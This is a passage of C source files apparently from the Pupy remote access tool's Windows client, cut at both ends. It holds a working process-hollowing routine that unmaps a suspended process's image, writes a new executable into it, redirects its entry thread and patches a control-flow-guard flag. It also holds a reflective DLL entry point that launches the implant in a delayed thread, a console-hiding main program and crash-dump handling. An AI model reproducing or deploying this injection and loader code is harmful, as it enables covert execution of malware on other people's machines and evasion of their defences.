DosHeader;\n\tPIMAGE_NT_HEADERS         NtHeader64;\n\tDWORD_PTR                 dwImageBase;\n\tNtUnmapViewOfSection      pNtUnmapViewOfSection;\n\tNtQueryInformationProcess pNtQueryInformationProcess;\n\tLPVOID                    pImageBase;\n\tSIZE_T                    dwBytesWritten;\n\tSIZE_T                    dwBytesRead;\n\tint                       Count;\n\tCONTEXT                   ThreadContext;\n\tPMINI_PEB                 ProcessPeb;\n\tULONG                     SizeOfBasicInformation;\n\tBYTE                      iBrk = 0xCC;\n\tBYTE                      iOriginal = 0x0;\n\n\tHMODULE                   hNtlDll = NULL;\n\tPBYTE                     pRtlUserThreadStart = NULL;\n\tPBYTE                     pLdrSystemDllInitBlock = NULL;\n\tPULONGLONG                pulFlag = NULL;\n\n\tULONGLONG                 ulFlags = 0;\n\tLONGLONG                  ulDiff = 0;\n\tLONGLONG                  ulOriginalFlags = 0;\n\n\n\tDosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;\n\tif (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)\n\t\treturn FALSE;\n\n\tNtHeader64 = (PIMAGE_NT_HEADERS64)((DWORD_PTR) NewExecutableRawImage + DosHeader->e_lfanew);\n\tif (NtHeader64->Signature != IMAGE_NT_SIGNATURE)\n\t\treturn FALSE;\n\n\tRtlZeroMemory(&ThreadContext, sizeof(ThreadContext));\n\tRtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION));\n\tThreadContext.ContextFlags = CONTEXT_FULL;\n\n\tif (!GetThreadContext(TargetThreadHandle, &ThreadContext))\n\t\treturn FALSE;\n\n\tif (!ReadProcessMemory(\n\t\t\tTargetProcessHandle,\n\t\t\t(LPCVOID)(ThreadContext.Rdx + 16),\n\t\t\t&dwImageBase,\n\t\t\tsizeof(DWORD_PTR),\n\t\t\t&dwBytesRead))\n\t\treturn FALSE;\n\n\tpImageBase = VirtualAllocEx(\n\t\tTargetProcessHandle,\n\t\t(LPVOID)NtHeader64->OptionalHeader.ImageBase,\n\t\tNtHeader64->OptionalHeader.SizeOfImage,\n\t\t0x3000,\n\t\tPAGE_EXECUTE_READWRITE\n\t);\n\tif (!pImageBase || (DWORD_PTR) pImageBase != NtHeader64->OptionalHeader.ImageBase)\n\t\treturn FALSE;\n\n\tif (!WriteProcessMemory(\n\t\tTargetProcessHandle,\n\t\tpImageBase,\n\t\t(LPCVOID)NewExecutableRawImage,\n\t\tNtHeader64->OptionalHeader.SizeOfHeaders,\n\t\t&dwBytesWritten))\n\t\treturn FALSE;\n\n\tSectionHeader = IMAGE_FIRST_SECTION(NtHeader64);\n\tfor (Count = 0; Count < NtHeader64->FileHeader.NumberOfSections; Count++) {\n\t\tif (!WriteProcessMemory(\n\t\t\t\tTargetProcessHandle,\n\t\t\t\t(LPVOID) ((DWORD_PTR)pImageBase + SectionHeader->VirtualAddress),\n\t\t\t\t(LPVOID)((DWORD_PTR)NewExecutableRawImage + SectionHeader->PointerToRawData),\n\t\t\t\tSectionHeader->SizeOfRawData, &dwBytesWritten))\n\t\t\treturn FALSE;\n\n\t\tSectionHeader++;\n\t}\n\n\tWriteProcessMemory(\n\t\tTargetProcessHandle,\n\t\t(LPVOID)(ThreadContext.Rdx + 16),\n\t\t(LPVOID)&NtHeader64->OptionalHeader.ImageBase,\n\t\tsizeof(DWORD_PTR),\n\t\t&dwBytesWritten\n\t);\n\n\tThreadContext.Rcx = (DWORD_PTR) pImageBase + NtHeader64->OptionalHeader.AddressOfEntryPoint;\n\tSetThreadContext(\n\t\tTargetThreadHandle,\n\t\t&ThreadContext\n\t);\n\n\t// CFG Workaround?\n\t// Check own flag\n\t//\n\t// Find offset for ntdll!RtlUserThreadStart == RIP\n\t// Find offset for ntdll!LdrSystemDllInitBlock\n\t// Find diff in current process\n\t// Expect that diff is same in parent process\n\t// current ntdll (ntdll!LdrSystemDllInitBlock+0xa8)\n\t// Check value in remote process\n\t// If 2000100000000010 - replace to 2000000000000000\n\n\thNtlDll = GetModuleHandleA(\"NTDLL.DLL\");\n\tif (hNtlDll) {\n\t\tpRtlUserThreadStart = (PBYTE) GetProcAddress(\n\t\t\thNtlDll, \"RtlUserThreadStart\");\n\n\t\tpLdrSystemDllInitBlock = (PBYTE) GetProcAddress(\n\t\t\thNtlDll, \"LdrSystemDllInitBlock\");\n\n\t\tif (pLdrSystemDllInitBlock && pRtlUserThreadStart) {\n\t\t\tpulFlag = (PULONGLONG) (pLdrSystemDllInitBlock + 0xa8);\n\n\t\t\tif (*pulFlag == 0x2000100000000010L) {\n\t\t\t\tulDiff = ((LONGLONG) pLdrSystemDllInitBlock) -\t\\\n\t\t\t\t\t((LONGLONG) pRtlUserThreadStart);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (ulDiff) {\n\t\tReadProcessMemory(\n\t\t\tTargetProcessHandle,\n\t\t\t(PVOID)(ThreadContext.Rip + ulDiff + 0xa8),\n\t\t\t&ulOriginalFlags,\n\t\t\tsizeof(ulOriginalFlags),\n\t\t\t&dwBytesRead);\n\n\n\t\tif (ulOriginalFlags == 0x2000100000000010L) {\n\t\t\tulOriginalFlags = 0x2000000000000000L;\n\n\t\t\tWriteProcessMemory(\n\t\t\t\tTargetProcessHandle,\n\t\t\t\t(PVOID) (ThreadContext.Rip + ulDiff + 0xa8),\n\t\t\t\t&ulOriginalFlags,\n\t\t\t\tsizeof(ulOriginalFlags),\n\t\t\t\t&dwBytesRead);\n\t\t}\n\t}\n\n\treturn ResumeThread(TargetThreadHandle) != (DWORD) -1;\n}\n\n#else\nBOOL MapNewExecutableRegionInProcess(\n\t\tIN HANDLE TargetProcessHandle,\n\t\tIN HANDLE TargetThreadHandle,\n\t\tIN LPVOID NewExecutableRawImage)\n{\n\tPROCESS_BASIC_INFORMATION BasicInformation;\n\tPIMAGE_SECTION_HEADER     SectionHeader;\n\tPIMAGE_DOS_HEADER         DosHeader;\n\tPIMAGE_NT_HEADERS         NtHeader;\n\tPMINI_PEB                 ProcessPeb;\n\tNTSTATUS                  (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL;\n\tNTSTATUS                  (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL;\n\tNTSTATUS                  Status;\n\tCONTEXT                   ThreadContext;\n\tLPVOID                    OldEntryPoint = NULL;\n\tLPVOID                    TargetImageBase = NULL;\n\tULONG                     SectionIndex = 0;\n\tULONG                     SizeOfBasicInformation;\n\tBOOL                      Success = FALSE;\n\n\n\t//\n\t// Error checking? Bah.\n\t//\n\tDosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;\n\tNtHeader  = (PIMAGE_NT_HEADERS)((PCHAR)NewExecutableRawImage + DosHeader->e_lfanew);\n\n\tdo\n\t{\n\t\t//\n\t\t// Get the old entry point address by inspecting eax of the current\n\t\t// thread (which should be BaseProcessStart).  Eax holds the address\n\t\t// of the entry point for the executable when the process is created\n\t\t// suspended.\n\t\t//\n\t\tZeroMemory(\n\t\t\t\t&ThreadContext,\n\t\t\t\tsizeof(ThreadContext));\n\n\t\tThreadContext.ContextFlags = CONTEXT_INTEGER;\n\n\t\tif (!GetThreadContext(\n\t\t\t\t\tTargetThreadHandle,\n\t\t\t\t\t&ThreadContext))\n\t\t{\n\t\t\tbreak;\n\t\t}\n\n\t\tOldEntryPoint = (LPVOID) NtHeader->OptionalHeader.ImageBase;\n\n\t\t//\n\t\t// Unmap the old executable region in the child process to avoid\n\t\t// conflicts\n\t\t//\n\t\tNtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress(\n\t\t\t\tGetModuleHandle(\n\t\t\t\t\tTEXT(\"NTDLL\")),\n\t\t\t\t\"NtUnmapViewOfSection\");\n\n\t\tNtUnmapViewOfSection(TargetProcessHandle, OldEntryPoint);\n\n\t\t//\n\t\t// Change the entry point address to the new executable's entry point\n\t\t//\n\t\tThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint +\n\t\t\tNtHeader->OptionalHeader.ImageBase;\n\n\t\tif (!SetThreadContext(\n\t\t\t\t\tTargetThreadHandle,\n\t\t\t\t\t&ThreadContext))\n\t\t\tbreak;\n\n\t\t//\n\t\t// Allocate storage for the new executable in the child process\n\t\t//\n\t\tif (!(TargetImageBase = VirtualAllocEx(\n\t\t\t\t\t\tTargetProcessHandle,\n\t\t\t\t\t\t(LPVOID)NtHeader->OptionalHeader.ImageBase,\n\t\t\t\t\t\tNtHeader->OptionalHeader.SizeOfImage,\n\t\t\t\t\t\tMEM_COMMIT | MEM_RESERVE,\n\t\t\t\t\t\tPAGE_EXECUTE_READWRITE)))\n\t\t\tbreak;\n\n\t\t//\n\t\t// Update the executable's image base address in the PEB...\n\t\t//\n\t\tNtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress(\n\t\t\t\tGetModuleHandle(\n\t\t\t\t\tTEXT(\"NTDLL\")),\n\t\t\t\t\"NtQueryInformationProcess\");\n\n\t\tif (NtQueryInformationProcess(\n\t\t\t\t\tTargetProcessHandle,\n\t\t\t\t\tProcessBasicInformation,\n\t\t\t\t\t&BasicInformation,\n\t\t\t\t\tsizeof(BasicInformation),\n\t\t\t\t\t&SizeOfBasicInformation) != ERROR_SUCCESS)\n\t\t\tbreak;\n\n\t\tProcessPeb = BasicInformation.PebBaseAddress;\n\n\t\tif (!WriteProcessMemory(\n\t\t\t\t\tTargetProcessHandle,\n\t\t\t\t\t(LPVOID)&ProcessPeb->ImageBaseAddress,\n\t\t\t\t\t(LPVOID)&NtHeader->OptionalHeader.ImageBase,\n\t\t\t\t\tsizeof(LPVOID),\n\t\t\t\t\tNULL))\n\t\t\tbreak;\n\n\t\t//\n\t\t// Copy the image headers and all of the section contents\n\t\t//\n\t\tif (!WriteProcessMemory(\n\t\t\t\t\tTargetProcessHandle,\n\t\t\t\t\tTargetImageBase,\n\t\t\t\t\tNewExecutableRawImage,\n\t\t\t\t\tNtHeader->OptionalHeader.SizeOfHeaders,\n\t\t\t\t\tNULL))\n\t\t\tbreak;\n\n\t\tSuccess = TRUE;\n\t\tfor (SectionIndex = 0,\n\t\t\t\tSectionHeader = IMAGE_FIRST_SECTION(NtHeader);\n\t\t\t\tSectionIndex < NtHeader->FileHeader.NumberOfSections;\n\t\t\t\tSectionIndex++)\n\t\t{\n\t\t\t//\n\t\t\t// Skip uninitialized data\n\t\t\t//\n\t\t\tif ((!SectionHeader[SectionIndex].SizeOfRawData) ||\n\t\t\t\t\t(SectionHeader[SectionIndex].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA))\n\t\t\t\tcontinue;\n\n\t\t\tif (!WriteProcessMemory(\n\t\t\t\t\t\tTargetProcessHandle,\n\t\t\t\t\t\t(LPVOID)((PCHAR)TargetImageBase +\n\t\t\t\t\t\t\tSectionHeader[SectionIndex].VirtualAddress),\n\t\t\t\t\t\t(LPVOID)((PCHAR)NewExecutableRawImage +\n\t\t\t\t\t\t\tSectionHeader[SectionIndex].PointerToRawData),\n\t\t\t\t\t\tSectionHeader[SectionIndex].SizeOfRawData,\n\t\t\t\t\t\tNULL))\n\t\t\t{\n\t\t\t\tSuccess = FALSE;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t} while (0);\n\n\treturn Success;\n}\n\n#endif /* _WIN64 */\n"
  },
  {
    "path": "client/sources-windows-py3/main_exe.c",
    "content": "#include <windows.h>\n#include <winbase.h>\n#include <winuser.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <shellapi.h>\n#include \"pupy_load.h\"\n#include \"debug.h\"\n\n#ifdef HAVE_WINDOW\nint PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,\n    LPSTR lpszCmdLine, int nCmdShow)\n{\n    DWORD dwExitCode;\n\n#ifdef DEBUG\n    AttachConsole(-1);\n#else\n    FreeConsole();\n#endif\n    dprint(\"Have window\\n\");\n#else\nint main()\n{\n    DWORD dwExitCode;\n    dprint(\"No window\\n\");\n#endif\n\n    dprint(\"Initialization...\\n\");\n    initialize(FALSE);\n    dprint(\"Execution...\\n\");\n    dwExitCode = execute(NULL);\n    dprint(\"Deinitialization...\\n\");\n    deinitialize();\n    dprint(\"Exit\\n\");\n\n    return dwExitCode;\n}\n\nvoid setup_jvm_class(void) {}\n"
  },
  {
    "path": "client/sources-windows-py3/main_reflective.c",
    "content": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n*/\n\n#include <windows.h>\n#include \"pupy_load.h\"\n#include \"debug.h\"\n#include \"ReflectiveLoader.h\"\n\n#include \"Python-dynload.h\"\n#include \"jni_on_load.c\"\n\nHINSTANCE hAppInstance;\n\n#define REFLECTIVE_SPECIAL 5\n\nHANDLE hThread = NULL;\n\n//===============================================================================================//\n\nDWORD WINAPI delayedMainThread(LPVOID lpArg)\n{\n    Sleep(1000);\n    return execute(lpArg);\n}\n\n__declspec(dllexport)\nVOID WINAPI Launch()\n{\n    execute(NULL);\n}\n\nBOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )\n{\n    DWORD threadId;\n    BOOL bReturnValue = TRUE;\n\n    dprint(\"Call DllMain %d/%p\\n\", dwReason, lpReserved);\n\n    switch( dwReason )\n    {\n        case DLL_QUERY_HMODULE:\n            if( lpReserved != NULL )\n                *(HMODULE *)lpReserved = hAppInstance;\n        break;\n\n        case DLL_THREAD_ATTACH:\n            break;\n\n        case DLL_PROCESS_ATTACH:\n            hAppInstance = hinstDLL;\n\n            initialize(TRUE);\n\n            if (lpReserved == (LPVOID) 0x1) {\n                dprint(\"Special: Request for non-delayed thread\\n\");\n                execute(NULL);\n                return TRUE;\n            }\n\n            if (!hThread && lpReserved != (LPVOID) 0x2) {\n                dprint(\"Creating delayed thread from DllMain\\n\");\n\n                hThread = CreateThread(\n                    NULL,\n                    0,      // dwStackSize\n                    (LPTHREAD_START_ROUTINE) delayedMainThread,     // lpStartAddress\n                    NULL,       // lpParameter\n                    0,      // dwCreationFlags (0==run right after creation)\n                    &threadId\n               );\n            }\n            break;\n\n        case DLL_THREAD_DETACH:\n            break;\n\n        case DLL_PROCESS_DETACH:\n            dprint(\"Call deinitializer: %d\\n\", dwReason);\n            if (hThread) {\n                dprint(\"Wait until %p exited, reason: %d\\n\", hThread, dwReason);\n                WaitForMultipleObjects(1, &hThread, TRUE, INFINITE);\n                dprint(\"%p exited, completed\\n\", hThread);\n            }\n\n            deinitialize();\n            break;\n    }\n\n    dprint(\"Call DllMain - completed\\n\");\n    return bReturnValue;\n}\n"
  },
  {
    "path": "client/sources-windows-py3/postmortem.c",
    "content": "#include <Shlobj.h>\n#include <stdio.h>\n\n#define PYTHON_DYNLOAD_OS_NO_BLOBS\n\n#include \"postmortem.h\"\n#include \"debug.h\"\n\n#include \"MyLoadLibrary.h\"\n\n#include \"Python-stacktrace.h\"\n#include \"Python-stacktrace.c\"\n\n#define ECODE(x) EXCEPTION_ ## x, # x\n\ntypedef BOOL (WINAPI *tGetPolicy)(LPDWORD lpFlags);\ntypedef BOOL (WINAPI *tSetPolicy)(DWORD dwFlags);\n\ntypedef struct _EXCMSG {\n  DWORD dwExceptionCode;\n  LPCSTR pszExceptionHuman;\n} EXCMSG, *PEXCMSG;\n\nstatic\nLPCSTR code2str(DWORD dwExceptionCode) {\n  size_t i;\n  static const EXCMSG messages[] = {\n    ECODE(ACCESS_VIOLATION),\n    ECODE(ARRAY_BOUNDS_EXCEEDED),\n    ECODE(BREAKPOINT),\n    ECODE(DATATYPE_MISALIGNMENT),\n    ECODE(FLT_DENORMAL_OPERAND),\n    ECODE(FLT_DIVIDE_BY_ZERO),\n    ECODE(FLT_INEXACT_RESULT),\n    ECODE(FLT_INVALID_OPERATION),\n    ECODE(FLT_OVERFLOW),\n    ECODE(FLT_STACK_CHECK),\n    ECODE(FLT_UNDERFLOW),\n    ECODE(ILLEGAL_INSTRUCTION),\n    ECODE(IN_PAGE_ERROR),\n    ECODE(INT_DIVIDE_BY_ZERO),\n    ECODE(INT_OVERFLOW),\n    ECODE(INVALID_DISPOSITION),\n    ECODE(NONCONTINUABLE_EXCEPTION),\n    ECODE(PRIV_INSTRUCTION),\n    ECODE(SINGLE_STEP),\n    ECODE(STACK_OVERFLOW),\n  };\n\n  for (i = 0; i<sizeof(messages) / sizeof(EXCMSG); i++) {\n    if (dwExceptionCode == messages[i].dwExceptionCode)\n      return messages[i].pszExceptionHuman;\n  }\n\n  return \"UNKNOWN\";\n}\n\ntypedef HRESULT (WINAPI *SHGetFolderPathAndSubDirW_t)(\n  HWND   hwnd,\n  int    csidl,\n  HANDLE hToken,\n  DWORD  dwFlags,\n  LPCWSTR pszSubDir,\n  LPWSTR pszPath\n);\n\ntypedef DWORD (WINAPI *SymSetOptions_t)(\n  DWORD SymOptions\n);\n\ntypedef BOOL (WINAPI *SymInitialize_t)(\n  HANDLE hProcess,\n  PCSTR  UserSearchPath,\n  BOOL   fInvadeProcess\n);\n\ntypedef PVOID (WINAPI *SymFunctionTableAccess_t)(\n  HANDLE hProcess,\n  DWORD  AddrBase\n);\n\ntypedef DWORD (WINAPI *SymGetModuleBase_t)(\n  HANDLE hProcess,\n  DWORD  dwAddr\n);\n\ntypedef DWORD64 (WINAPI *SymGetModuleBase64_t)(\n  HANDLE hProcess,\n  DWORD64  dwAddr\n);\n\ntypedef BOOL (WINAPI *SymGetSymFromAddr_t)(\n  HANDLE           hProcess,\n  DWORD            dwAddr,\n  PDWORD           pdwDisplacement,\n  PIMAGEHLP_SYMBOL Symbol\n);\n\ntypedef BOOL (WINAPI *SymGetSymFromAddr64_t)(\n  HANDLE             hProcess,\n  DWORD64            qwAddr,\n  PDWORD64           pdwDisplacement,\n  PIMAGEHLP_SYMBOL64 Symbol\n);\n\ntypedef BOOL (WINAPI *StackWalk_t)(\n  DWORD  MachineType,\n  HANDLE hProcess,\n  HANDLE hThread,\n  PVOID  StackFrame,\n  PVOID  ContextRecord,\n  PVOID  ReadMemoryRoutine,\n  PVOID  FunctionTableAccessRoutine,\n  PVOID  GetModuleBaseRoutine,\n  PVOID  TranslateAddress\n);\n\ntypedef BOOL (WINAPI *EnumProcessModules_t)(\n  HANDLE  hProcess,\n  HMODULE *lphModule,\n  DWORD   cb,\n  LPDWORD lpcbNeeded\n);\n\n#ifdef DEBUG\nstatic\nvoid CreateMiniDump(HMODULE hDbgHelp, LPCWSTR pwzFolder, EXCEPTION_POINTERS* pExceptionPointers) {\n    BOOL blDumpCreated = FALSE;\n    HANDLE hDumpFile = INVALID_HANDLE_VALUE;\n    HANDLE hCurrentProcess = GetCurrentProcess();\n    DWORD dwCurrentProcessId = GetCurrentProcessId();\n\n    WCHAR minidump_path[MAX_PATH] = L\"\\0\";\n\n    MINIDUMP_EXCEPTION_INFORMATION mdei;\n\n    MiniDumpWriteDump_t pMiniDumpWriteDump = (MiniDumpWriteDump_t) GetProcAddress(\n      hDbgHelp, \"MiniDumpWriteDump\"\n    );\n\n    if (!pMiniDumpWriteDump) {\n      dprint(\"Failed to find pMiniDumpWriteDump\\n\");\n      return;\n    }\n\n    _snwprintf(\n      minidump_path, sizeof(minidump_path) - 1,\n      L\"%s\\\\tmp_dump_%d.bin\", pwzFolder, GetCurrentProcessId()\n    );\n\n    hDumpFile = CreateFileW(\n      minidump_path,\n      GENERIC_READ | GENERIC_WRITE,\n      0, NULL,\n      CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,\n      NULL\n    );\n\n    if (hDumpFile == NULL || hDumpFile == INVALID_HANDLE_VALUE) {\n      dprint(\"Failed to create minidump file\\n\");\n      return;\n    }\n\n    mdei.ThreadId           = GetCurrentThreadId();\n    mdei.ExceptionPointers  = pExceptionPointers;\n    mdei.ClientPointers     = FALSE;\n\n    dprint(\n      \"HANDLE: %p PID: %08x HFILE: %p TYPE: %d\\n\",\n        hCurrentProcess,\n        dwCurrentProcessId,\n        hDumpFile, MiniDumpNormal\n    );\n\n    if (pExceptionPointers) {\n      dprint(\n        \"Using ExceptionPointers (PTR=%p) MDEI=%p TID=%08x\\n\",\n        mdei.ExceptionPointers, &mdei, mdei.ThreadId\n      );\n    }\n\n    blDumpCreated = pMiniDumpWriteDump(\n      hCurrentProcess,\n      dwCurrentProcessId,\n      hDumpFile, MiniDumpWithFullMemory,\n      pExceptionPointers? (&mdei) : NULL,\n      NULL,\n      NULL\n    );\n\n    CloseHandle(hDumpFile);\n\n    if (blDumpCreated)\n        dprint(\"Global crash handler completed successfully\\n\");\n    else\n      dprint(\"Global crash handler failed to create dump\\n\");\n}\n#endif\n\nstatic\nBOOL SaveLibraryInfo(PVOID pvCallbackData, LPCSTR pszName, PVOID pvBaseImage, ULONG ulSize)\n{\n    HANDLE hExceptionInfoFile = (HANDLE) pvCallbackData;\n    CHAR module_info_buf[8192] = \"\\0\";\n    DWORD dwWritten;\n    int module_info_buf_size;\n\n    dprint(\n      \"SaveLibraryInfo called (%p, \\\"%s\\\", %p, %u)\\n\",\n      pvCallbackData, pszName, pvBaseImage, ulSize\n    );\n\n    module_info_buf_size = snprintf(\n      module_info_buf, sizeof(module_info_buf)-1, \"%p - %p\\t%s\\n\",\n      pvBaseImage, (((UINT_PTR) pvBaseImage) + ulSize), pszName\n    );\n\n    dprint(\"+ %s\", module_info_buf);\n\n    if (module_info_buf_size > 0)\n      return WriteFile(\n          hExceptionInfoFile, module_info_buf, module_info_buf_size, &dwWritten, NULL\n      );\n\n    return FALSE;\n}\n\nstatic\nvoid SavePythonStackTrace(\n    PVOID pvCallbackData, LPCSTR pszFunction, LPCSTR pszFile, DWORD dwLine)\n{\n  CHAR buffer[8192];\n  DWORD dwWritten;\n  int buffer_len;\n  HANDLE hExceptionInfoFile = (HANDLE) pvCallbackData;\n\n  if (pszFile == NULL) {\n    buffer_len = snprintf(\n      buffer, sizeof(buffer)-1,\n      \"\\n%s [%d]\\n\",\n      pszFunction, dwLine\n    );\n  } else {\n    dprint(\"Python stack: %s %s:%d\\n\", pszFunction, pszFile, dwLine);\n\n    buffer_len = snprintf(\n      buffer, sizeof(buffer)-1, \"+ %s\\t%s:%d\\n\",\n      pszFunction, pszFile, dwLine\n    );\n  }\n\n  if (buffer_len > 0)\n    WriteFile(\n      hExceptionInfoFile,\n      buffer, buffer_len, &dwWritten, NULL\n    );\n}\n\n#ifdef _WIN64\nstatic\nPVOID WINAPI PupyFunctionTableAccess(HANDLE  hProcess, DWORD64 AddrBase) {\n  // hProcess - Ignoree\n  DWORD64 ImageBase;\n  return RtlLookupFunctionEntry((PVOID) AddrBase, &ImageBase, NULL);\n}\n#endif\n\nstatic\n#ifdef _WIN64\nDWORD64 WINAPI PupyGetModuleBase(HANDLE  hProcess, DWORD64 pvAddr)\n#else\nDWORD WINAPI PupyGetModuleBase(HANDLE  hProcess, DWORD pvAddr)\n#endif\n{\n  // hProcess - Ignoree\n  PVOID pvModuleBase = NULL;\n  if (MyFindMemoryModuleNameByAddr(pvAddr, NULL, &pvModuleBase, NULL))\n    return pvModuleBase;\n  else if (GetModuleHandleExA(\n    GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,(LPCSTR) pvAddr, &pvModuleBase))\n      return pvModuleBase;\n  else\n    return 0;\n}\n\n\nstatic\nVOID SaveContextStack(HMODULE hDbgHelp, HANDLE hExceptionInfoFile, PCONTEXT pContext)\n{\n    BOOL                result;\n    BOOL                blSymbolFound;\n    HANDLE              process;\n    HANDLE              thread;\n    ULONG               frame;\n    DWORD               dwWritten;\n    CHAR                buffer[1024];\n    int                 buffer_len;\n\n#ifdef _WIN64\n    STACKFRAME64              stack;\n    IMAGEHLP_SYMBOL_STORAGE64 symbol_storage;\n    PIMAGEHLP_SYMBOL64        symbol = &(symbol_storage.symbol);\n    DWORD64                   displacement;\n\n    SymSetOptions_t pSymSetOptions = (SymSetOptions_t)\n      GetProcAddress(hDbgHelp, \"SymSetOptions\");\n\n    SymInitialize_t pSymInitialize = (SymInitialize_t)\n      GetProcAddress(hDbgHelp, \"SymInitialize\");\n\n    SymGetSymFromAddr64_t pSymGetSymFromAddr64 = (SymGetSymFromAddr64_t)\n      GetProcAddress(hDbgHelp, \"SymGetSymFromAddr64\");\n\n    StackWalk_t pStackWalk = (StackWalk_t)\n      GetProcAddress(hDbgHelp, \"StackWalk64\");\n\n    if (! (pSymGetSymFromAddr64 && pStackWalk)) {\n      dprint(\"Not all functions find at dbghelp\\n\");\n      return;\n    }\n\n#else\n    STACKFRAME              stack;\n    IMAGEHLP_SYMBOL_STORAGE symbol_storage;\n    PIMAGEHLP_SYMBOL        symbol = &(symbol_storage.symbol);\n    DWORD                   displacement;\n\n    SymSetOptions_t pSymSetOptions = (SymSetOptions_t)\n      GetProcAddress(hDbgHelp, \"SymSetOptions\");\n\n    SymInitialize_t pSymInitialize = (SymInitialize_t)\n      GetProcAddress(hDbgHelp, \"SymInitialize\");\n\n    SymFunctionTableAccess_t pSymFunctionTableAccess = (SymFunctionTableAccess_t)\n      GetProcAddress(hDbgHelp, \"SymFunctionTableAccess\");\n\n    SymGetSymFromAddr_t pSymGetSymFromAddr = (SymGetSymFromAddr_t)\n      GetProcAddress(hDbgHelp, \"SymGetSymFromAddr\");\n\n    StackWalk_t pStackWalk = (StackWalk_t)\n      GetProcAddress(hDbgHelp, \"StackWalk\");\n\n    if (! (pSymFunctionTableAccess && pSymGetSymFromAddr && pStackWalk)) {\n      dprint(\"Not all functions find at dbghelp\\n\");\n      return;\n    }\n#endif\n\n    if (!pContext) {\n      dprint(\"pContext is NULL\\n\");\n      return;\n    }\n\n    pSymSetOptions(\n      SYMOPT_NO_PROMPTS | SYMOPT_NO_IMAGE_SEARCH | SYMOPT_IGNORE_NT_SYMPATH | \\\n        SYMOPT_DISABLE_SYMSRV_AUTODETECT | SYMOPT_DEFERRED_LOADS\n    );\n\n    pSymInitialize(\n      GetCurrentProcess(), NULL, TRUE\n    );\n\n    memset(&stack, 0, sizeof(stack));\n\n    process                = GetCurrentProcess();\n    thread                 = GetCurrentThread();\n    displacement           = 0;\n    stack.AddrPC.Mode      = AddrModeFlat;\n    stack.AddrStack.Mode   = AddrModeFlat;\n    stack.AddrFrame.Mode   = AddrModeFlat;\n\n#ifdef _WIN64\n    stack.AddrPC.Offset    = pContext->Rip;\n    stack.AddrStack.Offset = pContext->Rsp;\n    stack.AddrFrame.Offset = pContext->Rbp;\n#else\n    stack.AddrPC.Offset    = pContext->Eip;\n    stack.AddrStack.Offset = pContext->Esp;\n    stack.AddrFrame.Offset = pContext->Ebp;\n#endif\n\n    for( frame = 0; frame < 64; frame++ ) {\n        LPCSTR pcModuleName = NULL;\n        PVOID pcModuleBase = NULL;\n\n        symbol->SizeOfStruct  = sizeof(symbol_storage.symbol);\n        symbol->MaxNameLength = sizeof(symbol_storage) -\n            sizeof(symbol_storage.symbol);\n\n        blSymbolFound = False;\n\n#ifdef _WIN64\n        result = pStackWalk(\n            IMAGE_FILE_MACHINE_AMD64,\n            process,\n            thread,\n            &stack,\n            pContext,\n            NULL,\n            PupyFunctionTableAccess,\n            PupyGetModuleBase,\n            NULL\n        );\n\n        pSymGetSymFromAddr64(\n            process, (ULONG64) stack.AddrPC.Offset, &displacement, symbol\n        );\n\n#else\n        result = pStackWalk(\n            IMAGE_FILE_MACHINE_I386,\n            process,\n            thread,\n            &stack,\n            pContext,\n            NULL,\n            pSymFunctionTableAccess,\n            PupyGetModuleBase,\n            NULL\n        );\n\n        pSymGetSymFromAddr(\n            process, (ULONG) stack.AddrPC.Offset, &displacement, symbol\n        );\n\n#endif\n        if (blSymbolFound) {\n          buffer_len = snprintf(\n              buffer,\n              sizeof(buffer) - 1,\n              \"+ %lu:\\tSYS:%s\\t(PC %p)\\n\",\n              frame,\n              symbol->Name,\n              stack.AddrPC.Offset\n          );\n        } else {\n          LPCSTR pcModuleName = NULL;\n          PVOID pcModuleBase = NULL;\n\n          if (MyFindMemoryModuleNameByAddr(\n                stack.AddrPC.Offset, &pcModuleName, &pcModuleBase, NULL)) {\n              buffer_len = snprintf(\n                buffer,\n                sizeof(buffer) - 1,\n                \"+ %lu:\\t[PC %p]\\tMEM:%s+0x%x\\n\",\n                frame,\n                stack.AddrPC.Offset,\n                pcModuleName,\n                ((UINT_PTR)stack.AddrPC.Offset) - ((UINT_PTR)pcModuleBase)\n            );\n          } else {\n            HMODULE hSymbolModule;\n            CHAR szModName[MAX_PATH];\n            PCHAR pcModName = szModName;\n            BOOL blFound = GetModuleHandleExA(\n              GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,\n              (LPCSTR) stack.AddrPC.Offset,\n              &hSymbolModule\n            );\n\n            if (blFound && GetModuleFileNameA(\n                hSymbolModule, szModName, sizeof(szModName))) {\n\n              PCHAR pcLastDm = strrchr(szModName, '\\\\');\n              if (pcLastDm)\n                pcModName = pcLastDm + 1;\n\n              buffer_len = snprintf(\n                  buffer,\n                  sizeof(buffer) - 1,\n                  \"+ %lu:\\t[PC %p]\\tSYS:%s+0x%x\\n\",\n                  frame, stack.AddrPC.Offset,\n                  pcModName,\n                  ((UINT_PTR)stack.AddrPC.Offset) - ((UINT_PTR)hSymbolModule)\n              );\n            } else {\n              buffer_len = snprintf(\n                  buffer,\n                  sizeof(buffer) - 1,\n                  \"+ %lu:\\t[PC %p]\\t?\\t\\t\\n\",\n                  frame,\n                  stack.AddrPC.Offset\n              );\n            }\n          }\n        }\n\n        if (buffer_len > 0)\n          WriteFile(hExceptionInfoFile, 